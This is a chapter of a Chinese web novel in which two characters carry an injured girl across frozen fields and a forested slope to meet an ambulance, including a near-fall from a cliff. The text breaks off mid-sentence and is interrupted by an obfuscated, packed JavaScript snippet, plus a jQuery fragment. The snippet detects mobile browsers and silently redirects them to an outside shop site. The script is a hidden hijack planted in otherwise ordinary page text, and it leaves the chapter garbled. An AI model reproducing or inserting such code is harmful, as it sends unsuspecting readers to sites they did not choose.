凤溪磕得很严重,她的右手拖着小孩子的后脑勺,能够很明显地感觉到一道长长的口子,里面还在源源不断地流血。
这样大的伤口,她压根不敢用自己的方法去止血或者怎样,就怕万一有感染的风险。
血液流出来是温热的,不一会儿就顺着她的手往下滴。
她的整个手臂已经完全没有了知觉,但是大脑还在飞快地运转,这样高强度的刺激下,她都没有发现自己的脸已经完全没有了血色,膝盖也在发颤。
“程三好。”
“程三好。”
“嗯?”她这时才反应过来,抬眼看向前面的人。
江砚双手搓热,正捂着她的脸。
没有打理的碎发下,深邃的眼眸里瞧不清情绪:“你在发抖,知道吗?”
程三好错开视线:“嗯。”
江砚叹了口气,伸手准备将凤溪抱过来:“孩子先给我,你缓一缓。”
“没事。”女生觉得自己可以。
“给我。”男人语气微微加重。
程三好有些犹豫,踌躇着开口:“……都是血。”
“没关系。”江砚将这个七八岁的小女孩接过来抱在怀里。
抱稳了人,他抬眼看向那个老人,问:“您拨打急救电话了吗?”
“……对对。”
“麻烦您用那个通话记录再打一次。”
韩老伯不知其意,但是照做了。
江砚就隔着不近不远的距离与对方通话。
“你好,请问你们现在到哪儿了?”
“真的非常抱歉,本来我们已经到了刘家湾,但是前面的路有一点坡度,车子开不上去还摔进了旁边的水沟。我知道你们很着急,我们已经联系了当地的消防员以及龙湾区的武警前来协助。”
“大约还有多长时间能到?”男人的嗓音很冷。
那边的医生停顿了一下:“顺利的话,可能需要半个小时。”
此话一出,无论是电话那头还是这头,大家的表情都很难看。
“你们离我们这儿还有多长的路程?”程三好倏地开口询问。
“大概1公里。”那头的医生回道。
“你们先尽量把车子弄出来,我们会带着受伤的小孩子与你们汇合。”
“好的。”电话挂断。
肖乐保挠着脑袋,迫不及待扭头看向程三好,问:“大哥,你有办法了?”
江砚显然和女生想到了一处,淡声道:“就是字面意思,走着去。”
“但是路面很滑,人根本走不了,更何况还要带着小孩子,呵护着她不再受二次伤害。”肖乐保不相信。
男人这一次没有回答,只是目光落到了身旁的女生上。
“公路不能走,是因为它是用水泥和沙的泥浆凝固而成的,很光滑,不说是冰,就是下雨天,人也容易摔跤,但是……”程三好眼神渐渐坚定,“路是人走出来的,这一条不行,我们可以自己走出一条路来。”
江砚笑了。
肖乐保还是没有反应过来:“什么意思啊?”
“啪——”韩小希拍了一下手,神色渐渐激动起来,“我明白了,可以走土路和山路。”
她说到这儿的时候,眼睛都亮了起来,解释:“虽然今天冰冻得很厚,但是田里不一样,土地在这个时候不会骗人。你走在上面凹凸不平,但勉勉强强可以走,总之比在光滑的公路上走好很多。”
“穿过田地可能还要走山路,山林地面全是落叶,脚踩在上面是会很滑,但是密密麻麻的树木树干可以给到你支撑。”
“不容易啊。”肖乐保摇头。
“对,是不容易。”韩小希也清楚,“但是这是目前唯一的办法了,我们不能再耽搁下去了,要不然凤溪会有生命危险。”
程三好不再废话:“你们谁愿意和我一起去?”
除了许琪和韩老伯以及好像置身事外的江砚没有举手,其他三人都高高地举起了手。
然而还没等三人来一场互相竞争,默不作声的男人就突然道:“我的秘书会实时将定位传输给我们,以免在山里迷路或者偏航,所以我和她去最为合适。”
他都这么开口了,三人忽然就默契地放下了手。
时间很紧张,程三好不会纠结这些无用的东西,她让江砚先待在这里,自己则去了外面的仓库里,拿来了几根手指粗的麻绳,先给自己鞋子一圈圈地缠上,又要蹲下身给江砚的鞋也缠上。
江砚眼皮一跳,退后了一步,说:“我就不用了……”
程三好没理他,强行抓着他的脚踝,给他的鞋子也缠了几道。
完了,她站起身,看着江砚:“走吧。”
“好。”
大坝上很光滑,但是好在韩小希早上倒火炉中的灰烬时,将那满满当当的一大框石灰撒在了门前,一直延伸至院落门口。
程三好他们得以踩着一条羊肠小道离开了小屋,她手中握着一根棍子,棍子的最下面是用橡胶皮手套给包扎起来的,这样她走在前面可以多加一点摩擦力。
肖乐保他们跟在身后,直至人要走远,他有些焦急地喊了一声:“大哥。”
程三好回头。
“……不要勉强,有事一定要打电话。”
“好。”程三好绷着嘴点头,然后毅然转身走了。
江砚跟在她的身后,背着凤溪。
再勇猛的男人此时此刻走在冰面上也得小心翼翼,全身绷紧。
好在小屋门口就是一个小山坡,程三好先屁股着地滑了下去,才扭头看着上方的人。
“就从这儿下吧。”她体贴地补充,“放心,没人会看到你是用屁股滑溜下来的。”
女生说到后面,嘴角已经扬了起来。但是下一秒就看见江砚以非常标准的滑雪姿势滑了下来。
小坡本身坡度就不高,但是上面的野草都结了一层厚厚的冰,没有超强的核心力量的话,人根本就站不稳,别说他还以直线的方式滑进了田里。
等他到了跟前,程三好走在前面,用棍子的另外一头故意削尖的顶端戳着地面。
“练过啊。”她挑着嘴角。
“初中的时候,父母给我报了一个私人滑雪课,每周末我都会去找老师进行练习。”江砚淡声说道。
虽然田里的确比公路上好走一些,但是也仅仅只有一点。
天气太冷了,冰完全没有要化的迹象,翻过的土地变得硬邦邦,人走在上面还是非常艰难。
程三好尽量挑土地的边缘走,这样就算摔的时候,田埂上的野草可以作为一个缓冲,不至于让人平地摔去。
走过一片田野接着一片田野,终于要到走山路的阶段了。
程三好先抓住地上的草皮,整个人跳跃了一下,肚子刚好担在了田梗的边缘。
然而地面太滑了,她控制不住地往下滑,这个时候右脚突然感觉到了支撑,她便接踩着江砚的手一下爬了上去。
森林与田地之间的田埂是农民故意挖出来的,目的就是为了隔绝山林里面的杂草种子跑到土地里。
它不是很高,就到江砚的腰部位置。
他一只手拉着女生递过来的手,另一只手紧紧地扶住背上的孩子。
脚踩到上方山林地皮时,也许是因为结冰的缘故,他猝不及防踉跄了一下往下滑。
程三好慌忙之中,只能下意识地拉着他的胸前衣服,飞快地往上拉,谁料脚下打滑,力道根本来不及来不及控制,她拉着人一下摔到了地面。
眼看着就要撞着人,江砚急忙伸出左手撑到女生脑袋侧旁。
他呼吸有些重,极力控制着,神色担忧地看着身下的人:“没事吧,摔着哪儿了?”
程三好五官都皱到了一起,缓过那股劲儿后,尽量把话说平稳:“没事,就是闪了一下腰。”
江砚飞快地皱了一下眉,直起身体,伸手将人拉了起来。
“还能走吗?”他的脸是冷的,语气却是暖的。
程三好没注意他的表情,犹自伸手掐了掐自己的腰,才抬起头看他,比了一个ok的手势:“完全没有问题。”
说着她指了指江砚背上的孩子,说:“下面这段路程我来背吧。”
“瞧不起我呢?”
两人说话的同时脚下的步伐没停,程三好抓住一根树木扭过头:“不是,只是为了公平起见,一直让你背,你也会很累的,所以换着来。”
“好好看路,”江砚叮嘱,他对于换人背孩子的这个话题避重熟轻,“我还不累,累了的话我会叫你。”
他说完话,前面走着的背影好长时间都没有说话。
半晌以后才传来一道闷闷的声音:“你不必因为我是女孩子而照顾我。”
江砚目光一顿,说:“我的确没有因为你是女孩子而照顾你。”
“嗯,那就好。”女生依旧没有回头。
山路的确要比田地里好走很多,因为你每走一步,手上都是有支撑的,不过手很遭罪。
因为出门急,完全忘了戴手套,所以这会儿你每抓一次树木,每握紧一次,手都要持续个一两秒的时间与冰块贴在一起。
江砚不好行走,因为他只有一只手是腾出来抓支撑的。
程三好停了下来,等到他到自己的身后,才把自己卫衣帽子里的一根绳子抽出来系到了自己的腰上,留一半绕成了一个圈,让江砚抓住。
进了山林以后,江砚就将背上的凤溪放下,抱到了自己的怀里,他单手可以轻轻松松地抱住小孩子。
看着女生的动作,男人的尊严让他拒绝:“不用。”
程三好解释:“前面是一个坡,你抓住以后,等我上去再拉你上来,这里植被很少,你脚下能踩的树墩很少。”
江砚这环视四周,发
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13169239|130752||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
现了她所说的情况,也没再说什么,将手套进去那个圈。
程三好三步并做两步双手抓着上方的两根青冈木一下翻上去,她没有放开手只是往前走。
后面的江砚凭着此力道往上面爬,中途抓了一下地面,也跟着翻了上去。
接下来的路就好走了很多,基本上没有大的坡面,人只要时不时地扶一下树干,就可以轻松地往前走。
他们的速度加快起来,程三好就没注意脚下,不小心踩空整个人一下掉了下去。
从刚才开始,江砚就没有松开那一个绳套。
他一只手紧紧地拽住一只树梢,另一只手死死拉住绳子,而小臂与大臂弯曲的这个空间挟着凤溪。
一切发生都很突然,就是一刹那间的事情。
等程三好反应过来的时候,她已经整个人悬空。
其实也不怪她,她刚才踩的位置除了有好几株植被遮挡了视线外,地面上也铺着厚厚的一层落叶,根本看不清下面竟是一处断崖。
她瞥了一眼脚下方,发现离地面公路就是二层楼高,如果摔了下去,可能会摔倒在公路与森林之间留出来的排水沟里。
她身体完全不敢动,甚至连呼吸都放得很慢,抬眼向上看。
“江砚。”
男人整个身体都在发力,脖子上的青筋突出,咬紧牙关道:“抓紧我!”
他因为要顾及到手肘弯里的小孩子,整个人站姿就很糟糕,匆忙之中右手也没有抓到合适的树干,而那薄弱的树梢根本支撑不了太久。
程三好不忍心看到他这样,故作轻松道:“你先放开,我离地面不远的,死不了。”
江砚没有说话,额头都是汗,后颈发红。
他的脚下踩着松树的叶子,不断地变形。
程三好闭了闭眼:“待会儿你带着她往前走,我会回来找你的。”
“……闭嘴。”江砚双手一直在发抖,但是力气丝毫不敢松懈一点。
他的表情非常不悦,甚至有一点凶狠的意思:“程三好,我告诉你,你要是敢放开——”
“你就是不摔死,回头我也会把你弄死!”
程三好在腰上绳子的手一顿,反反复复地吞咽口水,但口腔里干涩成一片。
“江砚,不可能的……”
她心里也紧张,也害怕,但想着总比三个人都摔下来的好。
“可能的,可能的,别放开,你信我。”江砚急了。
就在这时,卫衣绳子栓成的一个圈突然松动,程三好心脏悬空一秒,整个人就坠了下去。
“啪——”
她的手腕被人握住了。
身体在空中晃荡,那种与死亡擦肩而过的感觉一度让她忘记了呼吸。
紧接着她听到男人发出一声闷哼,整个人几乎是被男人单臂无任何外力的情况下,硬生生给提了上去。
接触到地面的感觉,让程三好有一瞬间差点情绪失控。
她扭头,看到江砚背靠着树干粗踹气,怀里的凤溪也好好的,一颗心算是彻底放下来。
然而这一口气还没有完全出去,不远处的男人突然与她对视上,然后将凤溪放到他的位置,自己则起身迈着长腿,面色发冷地一下靠了过来。
他很生气,单膝落地时,手覆盖在程三好撑着地面的手上。
“如果今天掉下去的是我,你会怎么办?如果当时那样的情况我对你说‘放开’二字,你作何感受?”
也许是用力过度的原因,江砚的眼睛有点发红。
他见女生不说话,突然冷笑了一下:“还是说,在你心中,我是那种可以抛弃你的人是吗?”
程三好没料到问题那么严重,难得有些结巴:“我……没有这样想。”
江砚一动不动地看着她,胸膛还在剧烈地起伏,整个人很有压迫感。
屁股下的冰化成水打湿了裤子,整个山林很寂静,很空旷,一层薄薄的白雾笼罩在上方,看不清远方的光景。
这样的对峙不知持续了三秒还是四秒亦或者更短,程三好垂下目光,终于开口:“对不起,下次我不这样了……”
“不怎样?”男人的目光微动,开始打量女生的脸。
他肯开口,说明这件事情他愿意让步。
程三好手指扣着地面的树叶,难得乖巧了一次:“不惹你生气了。”
谁料她刚说完,下巴就被人捏住,被迫抬起。
“程三好。”
“……嗯。”
“不是生气,”江砚的大拇指摩挲了一下女生的皮肤,桃花眼里敛着冷光,“我是寒心你懂吗?”
说着他也不听女生回答,飞快地抽身离开,去抱起了凤溪。
“走吧,我看江邱发来的定位,我们离救护车不远了,应该就是一百米的距离。”
程三好原地眨了一下眼睛,接着迅速站起来跟了上去。